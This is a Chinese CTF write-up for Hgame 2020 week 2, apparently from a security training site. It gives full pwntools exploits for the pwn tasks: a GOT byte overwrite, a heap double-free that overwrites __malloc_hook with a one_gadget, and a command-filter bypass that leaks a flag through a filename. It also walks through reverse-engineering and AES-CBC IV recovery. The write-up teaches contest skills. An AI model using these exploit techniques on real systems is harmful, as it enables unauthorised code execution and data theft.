• 新闻动态
  • 行业动态
  • 公司新闻
  • 关于我们
  • 公司简介
  • 经典活动
  • 技术分享
    记一次春节CTF实战练习(RE/PWN)
    2020-02-10 21:20

    这是Hgame_CTF第二周的题目,一共有四周。相对来说,比第一周难(HgameCTF(week1)-RE,PWN题解析)。这次的有一道逆向考点也挺有意思,得深入了解AES的CBC加密模式才能解题。还有一道pwn虽然能getshell,但是程序关闭了回显,并不能获取flag。队友提供了一种比较骚的思路才解开。


    ##pwn

    ###Another_Heaven

    该题目存在一个后门

      *(_DWORD *)v5 = readi();  // 可以写入一个地址

      read(0, (void *)*(signed int *)v5, 1uLL);

    这两行代码意思是 可以自己输入一个地址,然后可以改变该地址里边的一个数值。另外没有发现其他的漏洞。

    再看cspw函数

    __int64 cpswd()

    {

      int i; // [rsp+Ch] [rbp-14h]


      puts("Input new password:");

      read_n((__int64)buf, 48);

      printf("Processing.", 48LL);

      for ( i = 0; i < strlen(buf); ++i )

      {

    if ( !strncpy((char *)(i + 0x602160LL), &buf[i], 1uLL) )// 覆盖到flag

    {

      puts("System Error!");

      exit(0);

    }

    putchar('.');

    usleep(10000u);

      }

      puts("Done!");

      return 0LL;

    }

    可以覆盖flag,那么strncpy第一个参数就是读取的flag,其实strncpy和puts函数地址只相差了一位,那么可以通过改变这一位来使得strncpy变成puts函数输出flag。

    #!/usr/bin/python

    #coding:utf-8

    from pwn import *

    from time import *

    from LibcSearcher import *


    context.log_level="debug"


    REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"

    io = remote('172.17.0.2',10001)

    #elf = ELF(EXEC_FILE)

    #libc = ELF(REMOTE_LIBC)


    io.recv()

    raw_input()

    io.sendline(str(0x0602020))#修改strncpy

    io.send('\xE6')


    io.recvuntil(':')

    io.sendline("E99p1ant")


    io.recvuntil(":")

    io.sendline('a')


    io.recvuntil('(y/n)')

    io.sendline('y')


    io.recvuntil('?')

    io.sendline('Alice·Synthesis·Thirty')


    io.recvuntil(":")

    io.sendline('a')


    print io.recv()

    io.interactive()


    ###Roc826s_Note

    题目没有edit函数,但是delete函数存在uaf漏洞,给了libc,可以先释放unsorted bin求出libc基地址,然后通过double free来修改malloc hook跳转到one_gadget。

    #!/usr/bin/python

    #coding:utf-8

    from pwn import *

    from time import *

    from LibcSearcher import *


    context.log_level="debug"


    #EXEC_FILE = "./ROP_LEV"

    REMOTE_LIBC = "./libc-2.23.so"


    #main_offset = 3951392

    io = remote('47.103.214.163',21002)

    #io = process('./Roc826')

    #elf = ELF(EXEC_FILE)

    libc = ELF(REMOTE_LIBC)

    def add(size,content):

      io.sendlineafter(':','1')

      io.sendlineafter('?',str(size))

      io.sendlineafter(':',content)

    def show(idx):

      io.sendlineafter(':','3')

      io.sendlineafter('?',str(idx))


    def delete(idx):

      io.sendlineafter(':','2')

      io.sendlineafter('?',str(idx))

    add(0x89,'a')#0

    add(0x10,'b')#1


    delete(0)


    show(0)

    io.recvuntil('content:')

    unsorted_bin = u64(io.recvn(6).ljust(8,'\x00')) - 88

    print hex(unsorted_bin)

    libc_addr = unsorted_bin - 3951392


    print hex(libc_addr)


    __malloc_hook = libc_addr + libc.sym['__malloc_hook']


    add(0x68,'c')#2

    add(0x68,'d')#3

    add(0x68,'e')#4


    delete(2)

    delete(3)

    delete(2)


    add(0x68,p64(__malloc_hook-35)*2)#5

    add(0x68,'f')#6


    add(0x68,'g')

    add(0x68,19*'\x00'+p64(libc_addr+0xf1147))


    io.sendlineafter(':','1')

    io.sendlineafter('?',str(0x68))

    io.interactive()


    ###findyourself

    题目考察过滤,有两个check函数,如果通过check函数就会执行system

    signed __int64 __fastcall check1(const char *a1)

    {

      signed __int64 result; // rax

      int i; // [rsp+1Ch] [rbp-14h]


      for ( i = 0; i < strlen(a1); ++i )

      {

    if ( (a1[i] <= 96 || a1[i] > 122) && (a1[i] <= 64 || a1[i] > 90) && a1[i] != 47 && a1[i] != 32 && a1[i] != 45 )

      return 0xFFFFFFFFLL;

      }

      if ( strstr(a1, "sh") || strstr(a1, "cat") || strstr(a1, "flag") || strstr(a1, "pwd") || strstr(a1, "export") )

    result = 0xFFFFFFFFLL;

      else

    result = 0LL;

      return result;

    }


    signed __int64 __fastcall check2(const char *a1)

    {

      signed __int64 result; // rax


      if ( strchr(a1, 42)

    || strstr(a1, "sh")

    || strstr(a1, "cat")

    || strstr(a1, "..")

    || strchr(a1, 38)

    || strchr(a1, 124)

    || strchr(a1, 62)

    || strchr(a1, 60) )

      {

    result = 0xFFFFFFFFLL;

      }

      else

      {

    result = 0LL;

      }

      return result;

    }

    原本是绕过了第一个check,想通过第二个check得到终端。exp如下

    #!/usr/bin/python

    #coding:utf-8

    from pwn import *

    from time import *

    from LibcSearcher import *


    context.log_level="debug"


    #EXEC_FILE = "./ROP_LEV"

    REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"

    io = remote('47.103.214.163',21000)

    #elf = ELF(EXEC_FILE)

    #libc = ELF(REMOTE_LIBC)


    io.recvuntil('yourself')

    io.sendline('ls -l /proc/self/cwd')


    sleep(0.1)


    io.recvuntil('-> ')

    chdir = io.recvn(15)

    io.recv()

    io.sendline(chdir)

    sleep(0.1)

    raw_input()

    io.sendline('ltotal 4004')


    io.interactive()

    但是该题目在执行第二个system之前close(1),所以没有回显。后来队内的师傅想到了把 flag 里面的内容当成新建文件的名字然后就能"ls -l"读出来。getshell之后虽然没有回显,但是输入命令可以执行。先执行

    cat /flag>/tmp/`cat /flag`

    使用flag当作文件名创建一个文件。然后ls -l /tmp输出flag

    1.png


    ##RE

    ###unpack

    题目加有类似upx的壳,或许用esp定律可以脱,但是是elf程序,最后凭经验追到OEP。

    追到下边代码的时候就能感觉到已经进入OEP了    

    LOAD:0000000000400890 loc_400890:

    LOAD:0000000000400890 xor ebp, ebp

    LOAD:0000000000400892 mov r9, rdx

    LOAD:0000000000400895 pop rsi

    LOAD:0000000000400896 mov rdx, rsp

    LOAD:0000000000400899 and rsp, 0FFFFFFFFFFFFFFF0h

    LOAD:000000000040089D push rax

    LOAD:000000000040089E push rsp

    LOAD:000000000040089F mov r8, 4017A0h

    LOAD:00000000004008A6 mov rcx, 401710h

    LOAD:00000000004008AD mov rdi, offset sub_4009AE

    LOAD:00000000004008B4 call loc_401250

    LOAD:00000000004008B9 hlt

    很容易就能看到flag处理函数    

    __int64 sub_4009AE()

    {

      __int64 result; // rax

      signed int v1; // [rsp+8h] [rbp-48h]

      signed int i; // [rsp+Ch] [rbp-44h]

      char v3[56]; // [rsp+10h] [rbp-40h]

      unsigned __int64 v4; // [rsp+48h] [rbp-8h]


      v4 = __readfsqword(0x28u);

      sub_40F570((__int64)&unk_4A13A8, v3);

      v1 = 0;

      for ( i = 0; i <= 41; ++i )

      {

    if ( i + v3[i] != (unsigned __int8)unk_6CA0A0[i] )

      v1 = 1;

      }

      if ( v1 == 1 )

    sub_40FE40(&unk_4A13AD, v3);

      else

    sub_40FE40(&unk_4A13C0, v3);

      result = 0LL;

      if ( __readfsqword(0x28u) != v4 )

    sub_443040();

      return result;

    }

    exp

    q = "6868637069805B7578496D76757B756E4184716544824A858C827D7A824D907E92549888969857958FA6"


    flag = []


    for i in range(0,len(q),2):

      flag.append(int(q[i:i+2],16))


    flags = ""


    for i in range(len(flag)):

      flags+=chr(flag[i]-i)

    print flags


    ###bbbbbb

    该题目挺有意思的,首先输入flag。

      do

      {

    LOBYTE(v64) = '_';

    v66 = sub_7FF6A2974B70(&v96, v64, 0i64);

    sub_7FF6A2974D90(&v96, &v97, 0i64, v66);

    sub_7FF6A2974AE0(&v96, 0i64, v66 + 1);

    v67 = (const char *)sub_7FF6A2974A10(&v97);

    *((_DWORD *)&v90 + v65) = atoi(v67);

    sub_7FF6A2974150(&v97);

    ++v65;

      }

      while ( v65 < 4 );

    上边代码的意思是按下划线切割flag,分割成四个数字。也就是说,输入flag格式为aaa bbb ccc ddd

    然后经过

    v68 = GetCurrentProcess();

      v69 = GetModuleHandleW(0i64);

      *(_OWORD *)modinfo = 0ui64;

      *(_QWORD *)&modinfo[16] = 0i64;

      K32GetModuleInformation(v68, v69, (LPMODULEINFO)modinfo, 0x18u);

      v92 = 0ui64;  // 并没有覆盖到

      v93 = 0ui64;

      v94 = 0;

      sub_7FF6A2971010(&sha_init);

      v70 = (char *)(*(_QWORD *)modinfo + 0x1000i64);

      if ( *(_QWORD *)modinfo + 0x1000i64 < (unsigned __int64)(*(_QWORD *)modinfo + 20480i64) )

      {

    do

    {

      sub_7FF6A2971090((__int64)&sha_init, v70, 0x1000ui64);

      memset(&Dst, 0, 1232ui64);

      v102 = 0x100010;

      v71 = GetCurrentThread();

      GetThreadContext(v71, (LPCONTEXT)&Dst);

      sub_7FF6A2971090((__int64)&sha_init, &v103, 0x20ui64);

      v70 += 0x1000;

    }

    while ( (unsigned __int64)v70 < *(_QWORD *)modinfo + 0x5000i64 );

      }

      sub_7FF6A29711C0(&v92, &sha_init);

      v72 = _mm_xor_si128(_mm_loadu_si128((const __m128i *)&v92), _mm_loadu_si128((const __m128i *)&v93));

      _mm_storeu_si128((__m128i *)&v92, v72);

    先看sub_7FF6A2971010函数,里边初始化赋值,明显是sha类的哈希函数。

    signed __int64 __fastcall sub_7FF6A2971010(__int64 a1)

    {

      signed __int64 result; // rax


      *(_QWORD *)(a1 + 32) = 0i64;

      *(_QWORD *)(a1 + 40) = 0i64;

      *(_QWORD *)(a1 + 48) = 0i64;

      *(_QWORD *)(a1 + 56) = 0i64;

      *(_QWORD *)(a1 + 64) = 0i64;

      *(_QWORD *)(a1 + 72) = 0i64;

      *(_QWORD *)(a1 + 80) = 0i64;

      *(_QWORD *)(a1 + 88) = 0i64;

      *(_QWORD *)(a1 + 96) = 0i64;

      *(_DWORD *)(a1 + 104) = 0;

      result = 1i64;

      *(_DWORD *)a1 = 1779033703;

      *(_DWORD *)(a1 + 4) = -1150833019;

      *(_DWORD *)(a1 + 8) = 1013904242;

      *(_DWORD *)(a1 + 12) = -1521486534;

      *(_DWORD *)(a1 + 16) = 1359893119;

      *(_DWORD *)(a1 + 20) = -1694144372;

      *(_DWORD *)(a1 + 24) = 528734635;

      *(_DWORD *)(a1 + 28) = 1541459225;

      *(_DWORD *)(a1 + 108) = 32;

      return result;

    }

    然后通过K32GetModuleInformation函数获取到模块信息进行加密,也就是获取地址为0x7FF6A2971000-0x7FF6A2975000之间的数据进行加密,每次获取0x1000个字节,这里边刚好包含了主要函数。这个主要用于反调试,防止别人修改代码和下普通断点,其实尝试着在这之间下不同断点会发现每次得到的哈希值都不一样。然后通过GetThreadContext函数获取线程上下文,得到的数据进行加密,印象中这个函数可以用于防止下硬件断点。在这种情况下,我们可以在exit函数下断点,因为exit函数位于加密地址之外,不会影响正确的哈希值,主要捕捉到里边生成的正确的哈希值就行。

    2.png

    然后通过CE来扫描数据,调试发现,正确的哈希值位于我们输入的flag下一行。比如我们输入

    123_456_789_111

    那我们可以搜索 7B 00 00 00 C8 01 00 00 15 03 00 00 6F 00 00 00 通过CE搜索可以得到哈希值

    3.png

    那么可以得到0x932877ad 0x4da107ea 0xc767e46b 0x5a857214,还要注意程序使用atoi转换的数字,0x932877ad和0xc767e46b输入之后会变成负数,这个得注意一下。最后输入    

    1302398954_-1826064467_1518694932_-949492629

    得到flag:

     hgame{1302398954_2468902829_1518694932_3345474667}


    ###babyPy

    题目直接给出pyc的opcode

    In [1]: from secret import flag, encrypt


    In [2]: encrypt(flag)

    Out[2]: '7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22'


    In [3]: import dis


    In [4]: dis.dis(encrypt)

      4   0 LOAD_FAST0 (OOo)

      2 LOAD_CONST   0 (None)

      4 LOAD_CONST   0 (None)

      6 LOAD_CONST   1 (-1)

      8 BUILD_SLICE  3

     10 BINARY_SUBSCR

     12 STORE_FAST   1 (O0O)


      5  14 LOAD_GLOBAL  0 (list)

     16 LOAD_FAST1 (O0O)

     18 CALL_FUNCTION1

     20 STORE_FAST   2 (O0o)


      6  22 SETUP_LOOP  50 (to 74)

     24 LOAD_GLOBAL  1 (range)

     26 LOAD_CONST   2 (1)

     28 LOAD_GLOBAL  2 (len)

     30 LOAD_FAST2 (O0o)

     32 CALL_FUNCTION1

     34 CALL_FUNCTION2

     36 GET_ITER

    >>   38 FOR_ITER32 (to 72)

     40 STORE_FAST   3 (O0)


      7  42 LOAD_FAST2 (O0o)

     44 LOAD_FAST3 (O0)

     46 LOAD_CONST   2 (1)

     48 BINARY_SUBTRACT

     50 BINARY_SUBSCR

     52 LOAD_FAST2 (O0o)

     54 LOAD_FAST3 (O0)

     56 BINARY_SUBSCR

     58 BINARY_XOR

     60 STORE_FAST   4 (Oo)


      8  62 LOAD_FAST4 (Oo)

     64 LOAD_FAST2 (O0o)

     66 LOAD_FAST3 (O0)

     68 STORE_SUBSCR

     70 JUMP_ABSOLUTE   38

    >>   72 POP_BLOCK


      9 >>   74 LOAD_GLOBAL  3 (bytes)

     76 LOAD_FAST2 (O0o)

     78 CALL_FUNCTION1

     80 STORE_FAST   5 (O)


     10  82 LOAD_FAST5 (O)

     84 LOAD_METHOD  4 (hex)

     86 CALL_METHOD  0

     88 RETURN_VALUE


    In [5]: exit()

    需要注意

    BINARY_SUBTRACT 为相减,BINARY_SUBSCR 取值

    可以还原

    flag = "sfesefsfhthfyhjjus"

    O0o = list(flag)

    out_flag = ""

    for i in range(1,len(O0o)):

    O0 = i

    Oo = ord(O0o[O0-1])^ord(O0o[O0])

    O0o [O0] = Oo

    写出exp

    q = "7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22"

    flag = []

    for i in range(0,len(q),2):

      flag.append(int(q[i:i+2],16))

    print flag

    flags = ""


    flag = flag[::-1]

    for i in range(len(flag)-1):

      flag[i] = flag[i+1]^flag[i]

      flags += chr(flag[i])

    flags += chr(0x7d)

    print flags


    ###classic_CrackMe

    .net程序

    string text = this.textBox1.Text;

          if (text.Length != 46 || text.IndexOf("hgame{") != 0 || text.IndexOf("}") != 45)

          {

            MessageBox.Show("Illegal format");

            return;

          }

          string base64iv = text.Substring(6, 24);

          string str = text.Substring(30, 15);

          try

          {

            Aes aes3 = new Aes("SGc0bTNfMm8yMF9XZWVLMg==", base64iv);

            Aes aes2 = new Aes("SGc0bTNfMm8yMF9XZWVLMg==", "MFB1T2g5SWxYMDU0SWN0cw==");

            string text2 = aes3.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I==");

            if (text2.Equals("Same_ciphertext_"))

            {

              byte[] array = new byte[16];

              Array.Copy(aes2.EncryptToByte(text2 + str), 16, array, 0, 16);

              if (Convert.ToBase64String(array).Equals("dJntSWSPWbWocAq4yjBP5Q=="))

              {

                MessageBox.Show("注册成功!");

                this.Text = "已激活,欢迎使用!";

                this.status = 1;

              }

              else

              {

                MessageBox.Show("注册失败!\nhint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I="));

              }

            }

            else

            {

              MessageBox.Show("注册失败!\nhint: " + aes2.DecryptFromBase64String("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I="));

            }

          }

          catch

          {

            MessageBox.Show("注册失败!");

          }

        }

    输入的flag分成两部分,前部分当成iv。用已知的iv('MFB1T2g5SWxYMDU0SWN0cw==')去解密的话会得到Learn principles,不符合要求,显然这是要学习原理,求出iv。

    明文,密文,密钥,我们都知道,不同的iv得到的不同明文我们也知道。通过原理可知 IV 和 DecChiperText 和 plainText 是 xor 关系。

    解密时:用 key 去解密 chiperText 再和 IV 异或就能得到 plainText

    plainText = ( Decrypt(chiperText, key) ) ^ IV

    上面的公式 分成两步:

    1.DecChiperText = Decrypt(chiperText, key)   //使用 key 去解密 chiperText

    2.plainText = tmp ^ IV  //这样的话, 就算 iv 是错的 也不会影响到 Decrypt(chiperText, key)

    已知:

    key = "Hg4m3_2o20_WeeK2"

    plainText = "Same_ciphertext_"

    chiperText = "\x9a7Q\xa8~\x1d\xd4\xef'mF\t\x93\xec\x15\xbbp\x1e\x13\xb6m\x13\xda\xedO\xff\x01\x03\xc2|\xf7\xb2"

    再构造一个 假 IV 去解密,变成:

    fakeIV = "aaaaaaaaaaaaaaaa"

    key = "Hg4m3_2o20_WeeK2"

    plainText = "Same_ciphertext_"

    chiperText = "\x9a7Q\xa8~\x1d\xd4\xef'mF\t\x93\xec\x15\xbbp\x1e\x13\xb6m\x13\xda\xedO\xff\x01\x03\xc2|\xf7\xb2"


    fakePlainText = ( Decrypt(chiperText, key) ) ^ fakeIV

    plainText = fakePlainText ^ fakeIV

    因为得到的结果 fakePlainText 是异或过 fakeIV 的,我们只要 再次异或 fakeIV 就能得到公式上面第一步得到的结果 DecChiperText。DecChiperText 和 IV 和 plainText 是 xor 关系现在已知 DecChiperText 和 plainText 就能求出 真正的 IV    

    IV = DecChiperText ^  plainText

    可以写python代码    

    from Crypto.Cipher import AES

    import base64


    key = base64.b64decode("SGc0bTNfMm8yMF9XZWVLMg==")

    fakeIV = "aaaaaaaaaaaaaaaa"

    plainText = "Same_ciphertext_"

    chiperText = base64.b64decode("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I=")

    mode = AES.MODE_CBC

    aesCipher = AES.new(key, mode, fakeIV)


    fakePlainText = aesCipher.decrypt(chiperText)


    #print fakePlainText


    IV = ''

    for i in range(16):

      IV += chr(ord(fakePlainText[i]) ^ ord(fakeIV[i]) ^ ord(plainText[i]))

    print "IV : " + IV


    #IV : /TyXYzPnY;$)\we_

    求得IV为/TyXYzPnY;$)\we_ 经过base64加密后为L1R5WFl6UG5ZOyQpXHdlXw==

    然后使用text2和后半部分flag拼接加密,加密后的密文最后24位必须为"dJntSWSPWbWocAq4yjBP5Q=="。text2位16位,刚好填充满,通过原理可知,密文前面16位不变。那么可以先让text2单独加密,得到密文的16进制,然后同"dJntSWSPWbWocAq4yjBP5Q=="的16进制形式拼接在一起,经过base64加密,得到密文"xlKKQA5RPpyyA1YBjDeL5HSZ7Ulkj1m1qHAKuMowT+U"。直接解密得到后半flag。

    4.jpg

    (完)

    如果想更多系统的学习CTF,可点击文末“阅读原文”,进入CTF实验室学习,里面涵盖了6个题目类型系统的学习路径和实操环境。

    5.png

    上一篇:HgameCTF(week1)-RE,PWN题解析
    下一篇:Tomcat AJP协议漏洞分析与利用
    版权所有 合天智汇信息技术有限公司 2013-2020 湘ICP备14001562号-6
    Copyright © 2013-2020 Heetian Corporation, All rights reserved
    4006-123-731